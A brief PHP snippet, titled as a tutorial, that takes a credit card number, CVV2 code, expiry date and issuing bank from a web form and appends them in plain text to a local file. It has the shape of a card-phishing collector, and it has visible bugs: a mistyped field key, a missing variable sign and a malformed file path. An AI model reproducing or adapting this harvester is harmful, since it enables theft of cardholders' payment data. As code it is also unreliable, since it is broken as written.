PHP code to collect form content and write it to a file_PHP tutorial

//Define the form content to be collected
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year '];
$cardbank = $_POST['cardbank'];
//Define the collected content format
$content = "Credit Card Number:".$cardnum.",Card Verification Number:" .$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//Define the location where the file is stored
$compile_dir = ". /txt.txt";
//The following is the written PHP code
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>